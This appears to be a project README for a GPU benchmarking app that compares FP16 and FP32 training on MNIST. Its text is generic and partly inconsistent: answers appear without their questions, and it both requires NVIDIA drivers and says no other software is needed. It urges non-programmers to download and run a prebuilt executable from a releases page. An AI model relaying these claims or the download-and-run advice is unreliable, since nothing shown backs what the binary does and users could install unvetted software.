Welcome to the FP16 vs FP32 GPU Benchmarking Lab! This application helps you compare two types of training on the MNIST dataset using popular tools like PyTorch and CuPy. It also uses Nsight profiling tools to give you insights into your GPU's performance.
The project mixes performance engineering with engaging storytelling. You will see detailed training loops and optimized code snippets that showcase how the GPU operates. This allows you to learn about deep learning while experiencing its performance capabilities frame by frame.
To start using this application, you'll need to follow a few simple steps. No programming knowledge is required. Just follow along to download and run the software.
To get the software, visit the releases page below. There, you will find the latest version of the application ready for download.
👉 Visit the Releases Page to Download
After you download the file, follow these steps to install:
- Open the downloaded file. This may be an executable file for Windows or a compressed file, such as a .zip, for other operating systems.
- If it’s a .zip file, unzip it first by right-clicking on the file and selecting "Extract All."
- Locate the extracted folder and double-click the executable to start the installation.
- Follow the prompts in the installation wizard to complete the setup.
Before installing, check that your computer meets these requirements.
- Operating System: Windows, macOS, or Linux
- Graphics Card: NVIDIA GPU with CUDA support
- RAM: Minimum 8 GB recommended
- Storage: At least 2 GB free space
Additionally, ensure that you have the latest version of the NVIDIA drivers installed for optimal performance. This allows you to make the most of the benchmarking features.
- FP16 and FP32 Training Comparison: Easily compare the two types of training on your GPU.
- Interactive Visualizations: View performance metrics and insights through detailed graphs and charts.
- NVTX-tagged Training Loops: Understand your GPU's operations with tagged training loops for better profiling.
- Fused CuPy Kernels: Benefit from optimized performance through advanced kernel operations.
- Profiler Integration: Use Nsight profiling tools for an in-depth analysis of your GPU's performance.
Once you have installed the software, open it to start your benchmarking journey. Here’s how to get started:
- Select Dataset: Choose the MNIST dataset for benchmarking.
- Choose Precision: Decide whether you want to run FP16 or FP32 training.
- Start Benchmarking: Click the "Start" button to begin. The application will run tests and display results.
- View Results: Analyze the output in the results tab. You can see how each precision performed during training.
- CUDA: Learn how to utilize your GPU for better performance.
- Deep Learning: Get insights into the world of deep learning with hands-on experience.
- Mixed Precision: Understand the benefits of using mixed precision in training.
- Performance Engineering: Gain knowledge in optimizing your hardware for better results.
The MNIST dataset is a collection of handwritten digits used for training image processing systems. It is widely used in machine learning.
You do not need any additional software. Just follow the steps above to download and run the application.
Yes, as long as your laptop has a compatible NVIDIA GPU and meets the system requirements mentioned.
For more detailed instructions or troubleshooting, please refer to the resources or raise an issue in the repository.
Thank you for choosing the FP16 vs FP32 GPU Benchmarking Lab! We hope you find it useful and informative.